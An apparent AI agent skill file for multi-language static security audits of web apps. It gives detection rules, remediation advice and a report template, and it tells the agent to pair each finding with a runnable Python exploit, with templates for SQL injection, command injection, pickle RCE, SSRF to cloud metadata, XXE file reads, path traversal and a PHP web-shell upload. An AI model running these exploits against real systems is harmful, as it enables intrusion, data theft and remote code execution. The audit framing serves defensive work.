Multi-language static code security audit for web applications. Covers PHP, Java, Python, and Go.
Use this skill when the user asks to:
Ask the user for the target directory. If not provided, infer from context (current workspace, recently mentioned project).
Execute the bundled Python audit engine:
bash
python3 scripts/main.py <target_directory> [--lang php|java|python|go]
The engine will:
node_modules, vendor,
.git, __pycache__, etc.)Supported file extensions per language:
LanguageExtensionsPHP.php .phtml .php3 .php4 .php5 .incJava.java .jsp .jspxPython.py .pyw .html .jinja2 .j2Go.go
Based on audit results, generate a Security.md report using the template structure defined below. Each finding must include:
Show a summary table first, then the full Security.md content or file path.
#CategoryCWESeverityDetection Pattern1SQL InjectionCWE-89CriticalString concatenation in SQL queries, no parameterized queries2Command Injection / RCECWE-78CriticalUser input passed to system(), exec(), Runtime.exec(), subprocess3Cross-Site Scripting (XSS)CWE-79HighRaw user input echoed to HTML without encoding4Insecure DeserializationCWE-502Criticalunserialize(), pickle.loads(), ObjectInputStream.readObject() on user input5Server-Side Request ForgeryCWE-918HighUser-controlled URL in curl_exec, requests.get, http.Get6XML External Entity (XXE)CWE-611HighXML parsing without disabling external entities7Path TraversalCWE-22HighUser input in fopen, open(), os.Open, File()8Server-Side Template InjectionCWE-1336CriticalUser input to render_template_string, template.Parse9Insecure File UploadCWE-434Highmove_uploaded_file without MIME/content validation10Open RedirectCWE-601MediumUser-controlled Location header11Hardcoded CredentialsCWE-798HighAPI keys, tokens, passwords in source code12Sensitive Endpoint ExposureCWE-200MediumSpring Actuator, Django debug, debug endpoints
For each finding, use this exact structure:
markdown
##### [N] RULE-ID — filename.ext
- **Rule ID:** `LANG-CAT-001`
- **CWE:** [CWE-XXX](https://cwe.mitre.org/data/definitions/XXX.html)
- **Category:** Category Name
- **Severity:** Critical / High / Medium / Low
**Vulnerable Location:**
`File : /absolute/path/to/file.ext`
`Line : N`
`Code : the actual vulnerable line`
**Root Cause:**
Concise explanation of the vulnerability mechanism.
**Code Analysis:**
How user input flows to the sink, why sanitization is missing.
**Remediation:**
1. Specific fix step 1
2. Specific fix step 2
**Exploit (PoC):**
`python
#!/usr/bin/env python3
"""PoC for CATEGORY"""
import requests
TARGET = "http://target.example.com/vuln-endpoint"
# ... actual exploit code ...
`
For each vulnerability category, generate a runnable Python 3 PoC script
using the requests library. Templates below.
python
#!/usr/bin/env python3
"""SQL Injection PoC"""
import requests
TARGET = "http://target.example.com/vuln.php?id=1"
def exploit():
# Error-based detection
payloads = ["'", '"', "' OR '1'='1", "' OR 1=1--", "1' AND 1=2--"]
for p in payloads:
r = requests.get(TARGET + p, timeout=10)
if any(kw in r.text.lower() for kw in
["sql", "mysql", "syntax", "unclosed", "odbc"]):
print(f"[+] Error-based SQLi: {p}")
# UNION column count probe
for i in range(1, 21):
p = f"' UNION SELECT {','.join(['NULL']*i)}-- "
r = requests.get(TARGET + p, timeout=10)
if "NULL" not in r.text and len(r.text) > 0:
print(f"[+] Column count: {i}")
break
# DB info extraction
p = "' UNION SELECT NULL,@@version,database(),user(),NULL-- "
r = requests.get(TARGET + p, timeout=10)
print(f"[+] DB info: {r.text[:500]}")
if __name__ == "__main__":
exploit()
python
#!/usr/bin/env python3
"""Command Injection / RCE PoC"""
import requests
TARGET = "http://target.example.com/ping?host="
PARAM = "cmd"
def exploit():
payloads = [
("; id", "uid="),
("| id", "uid="),
("&& whoami", ""),
("\nwhoami", ""),
("$(id)", "uid="),
("`id`", "uid="),
("& whoami &", ""),
]
for cmd, expected in payloads:
r = requests.get(TARGET + cmd, params={PARAM: cmd}, timeout=10)
if expected in r.text:
print(f"[+] RCE confirmed: {cmd}")
print(f" Response: {r.text[:300]}")
return
if __name__ == "__main__":
exploit()
python
#!/usr/bin/env python3
"""XSS PoC"""
import requests
TARGET = "http://target.example.com/search"
PARAM = "q"
def exploit():
payloads = [
"<script>alert(1)</script>",
'"><script>alert(document.domain)</script>',
"<img src=x onerror=alert(1)>",
"<svg/onload=alert(1)>",
]
for p in payloads:
r = requests.get(TARGET, params={PARAM: p}, timeout=10)
if p in r.text:
print(f"[+] Reflected XSS: {p}")
return
print("[-] No reflected XSS detected (CSP may block)")
if __name__ == "__main__":
exploit()
python
#!/usr/bin/env python3
"""Insecure Deserialization PoC"""
import requests
import pickle
import base64
import subprocess
TARGET = "http://target.example.com/api/load"
class RCE:
def __reduce__(self):
return (subprocess.check_output, (["id"],))
def exploit():
# Python pickle RCE
pickle_payload = base64.b64encode(pickle.dumps(RCE())).decode()
# PHP deserialization probe
php_payload = 'O:8:"stdClass":1:{s:4:"test";s:10:"php_uname()";}'
for name, payload in [("PHP", php_payload), ("Pickle", pickle_payload)]:
r = requests.post(TARGET, data=payload, timeout=10)
if "uid=" in r.text or "root" in r.text:
print(f"[+] {name} deserialization RCE confirmed!")
return
print("[*] Use OOB callback for confirmation")
if __name__ == "__main__":
exploit()
python
#!/usr/bin/env python3
"""SSRF PoC"""
import requests
TARGET = "http://target.example.com/fetch"
PARAM = "url"
def exploit():
internal = [
"http://127.0.0.1:22",
"http://127.0.0.1:80",
"http://127.0.0.1:8080",
"http://169.254.169.254/latest/meta-data/",
"http://metadata.google.internal/",
]
for url in internal:
try:
r = requests.get(TARGET, params={PARAM: url}, timeout=5)
if r.status_code == 200 and len(r.text) > 10:
print(f"[+] SSRF confirmed: {url}")
print(f" Response: {r.text[:300]}")
return
except requests.Timeout:
print(f"[*] Timeout on {url} — may be filtered")
except Exception:
continue
if __name__ == "__main__":
exploit()
python
#!/usr/bin/env python3
"""XXE PoC"""
import requests
TARGET = "http://target.example.com/api/xml"
def exploit():
payloads = [
('<?xml version="1.0"?>\n'
'<!DOCTYPE foo [\n'
' <!ENTITY xxe SYSTEM "file:///etc/passwd">\n'
']>\n'
'<root>&xxe;</root>', "/etc/passwd"),
('<?xml version="1.0"?>\n'
'<!DOCTYPE foo [\n'
' <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">\n'
']>\n'
'<root>&xxe;</root>', "win.ini"),
]
headers = {"Content-Type": "application/xml"}
for payload, name in payloads:
r = requests.post(TARGET, data=payload, headers=headers, timeout=10)
if "root:" in r.text or "nobody:" in r.text:
print(f"[+] XXE confirmed — {name} leaked!")
print(f" {r.text[:500]}")
return
if __name__ == "__main__":
exploit()
python
#!/usr/bin/env python3
"""Path Traversal / LFI PoC"""
import requests
TARGET = "http://target.example.com/view"
PARAM = "file"
def exploit():
paths = [
"../../../etc/passwd",
"..\\..\\..\\windows\\win.ini",
"....//....//....//etc/passwd",
"..%252f..%252f..%252fetc/passwd",
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
]
for path in paths:
r = requests.get(TARGET, params={PARAM: path}, timeout=10)
if "root:" in r.text:
print(f"[+] Path Traversal: {path}")
print(f" {r.text[:500]}")
return
if __name__ == "__main__":
exploit()
python
#!/usr/bin/env python3
"""Server-Side Template Injection PoC"""
import requests
TARGET = "http://target.example.com/greet"
PARAM = "name"
def exploit():
probes = [
("{{7*7}}", "49", "Jinja2/Twig"),
("${{7*7}}", "49", "Jinja2"),
("#{7*7}", "49", "Pug/Jade"),
]
for payload, expected, engine in probes:
r = requests.get(TARGET, params={PARAM: payload}, timeout=10)
if expected in r.text:
print(f"[+] SSTI confirmed — Engine: {engine}")
print(f" Payload: {payload}")
return
print("[-] No known SSTI pattern detected")
if __name__ == "__main__":
exploit()
python
#!/usr/bin/env python3
"""File Upload PoC"""
import requests
import os
import tempfile
TARGET = "http://target.example.com/upload"
def exploit():
shell = ('<?php\n'
'if(isset($_GET[\'cmd\'])){\n'
' echo "<pre>";\n'
' system($_GET[\'cmd\']);\n'
' echo "</pre>";\n'
'}\n'
'?>\n')
with tempfile.NamedTemporaryFile(suffix=".php", delete=False, mode="w") as f:
f.write(shell)
tmpfile = f.name
filenames = [
("shell.php", "application/x-php"),
("shell.php.jpg", "image/jpeg"),
("shell.php%00.jpg", "image/jpeg"),
("shell.pHp", "application/x-php"),
]
for fname, mime in filenames:
with open(tmpfile, "rb") as f:
r = requests.post(TARGET, files={"file": (fname, f, mime)}, timeout=10)
print(f"[*] {fname}: status={r.status_code}, response={r.text[:200]}")
os.unlink(tmpfile)
if __name__ == "__main__":
exploit()
python
#!/usr/bin/env python3
"""Open Redirect PoC"""
import requests
TARGET = "http://target.example.com/redirect"
PARAM = "url"
EVIL = "https://evil.com/phishing"
def exploit():
payloads = [EVIL, "//evil.com", "https:evil.com"]
for p in payloads:
r = requests.get(TARGET, params={PARAM: p},
allow_redirects=False, timeout=10)
if r.status_code in (301, 302, 303, 307, 308):
loc = r.headers.get("Location", "")
if "evil.com" in loc:
print(f"[+] Open Redirect: {loc}")
return
if __name__ == "__main__":
exploit()
Rule IDCategoryPatternPHP-SQLI-001SQL Injectionmysql_query( / ->query( with $ variable in query stringPHP-XSS-001XSSecho $_GET / print $_POST / <?=$_REQUESTPHP-RCE-001RCEsystem($ / exec($ / shell_exec($ / eval($ / ` `$PHP-LFI-001File Inclusioninclude($_GET / require($_POSTPHP-DESER-001Deserializationunserialize($_GETPHP-SSRF-001SSRFfile_get_contents($_GET / curl_exec( with user URLPHP-UPLOAD-001File Uploadmove_uploaded_file($_FILESPHP-XXE-001XXEsimplexml_load_string($ / DOMDocument->loadXML($PHP-REDIR-001Open Redirectheader("Location: ".$_GET
Rule IDCategoryPatternJAVA-SQLI-001SQL InjectioncreateStatement() / executeQuery("SELECT...+"JAVA-XSS-001XSSresponse.getWriter().print(request.getJAVA-RCE-001RCERuntime.getRuntime().exec(request.getJAVA-DESER-001DeserializationObjectInputStream(request / readObject()JAVA-SSRF-001SSRFHttpURLConnection / RestTemplate with user URLJAVA-XXE-001XXEDocumentBuilderFactory.newInstance()JAVA-PATH-001Path Traversalnew File(request.get / Paths.get(request.getJAVA-ACT-001Actuatorendpoints.web.exposure.include=*
Rule IDCategoryPatternPY-SQLI-001SQL Injection.execute(f"...request" / .execute("...%s" % requestPY-XSS-001XSS`PY-RCE-001RCEos.system(request / subprocess.run(request / eval(requestPY-SSTI-001SSTIrender_template_string(request / Template(requestPY-DESER-001Deserializationpickle.loads(request / yaml.load(requestPY-SSRF-001SSRFrequests.get(request / urlopen(requestPY-PATH-001Path Traversalopen(request / send_file(requestPY-SECRET-001Django SecretSECRET_KEY = '...' hardcoded
Rule IDCategoryPatternGO-SQLI-001SQL Injectionfmt.Sprintf("SELECT...%s" / db.Query("SELECT..."+GO-XSS-001XSSw.Write([]byte(r. / fmt.Fprintf(w, r.GO-RCE-001RCEexec.Command(r. / exec.CommandContext(ctx, r.GO-SSTI-001SSTItemplate.New(r. / .Execute(w, r.GO-SSRF-001SSRFhttp.Get(r. / http.NewRequest(r.GO-PATH-001Path Traversalos.Open(r. / ioutil.ReadFile(r.
CategoryPrimary FixSQL InjectionUse parameterized queries / prepared statements / ORMCommand InjectionUse language-native APIs; never shell out with user inputXSSContext-aware output encoding; CSP headersDeserializationUse JSON; HMAC-sign serialized data; type allowlistsSSRFURL allowlists; block internal IPs; disable unsafe schemesXXEDisable external entity processing; migrate to JSONPath TraversalCanonicalize paths; verify within sandbox directorySSTINever pass user input to template engines directlyFile UploadValidate MIME magic bytes; store outside web rootOpen RedirectRedirect allowlists; indirect referencesHardcoded SecretsEnvironment variables; secrets manager (Vault/AWS)
After completing the audit, you MUST: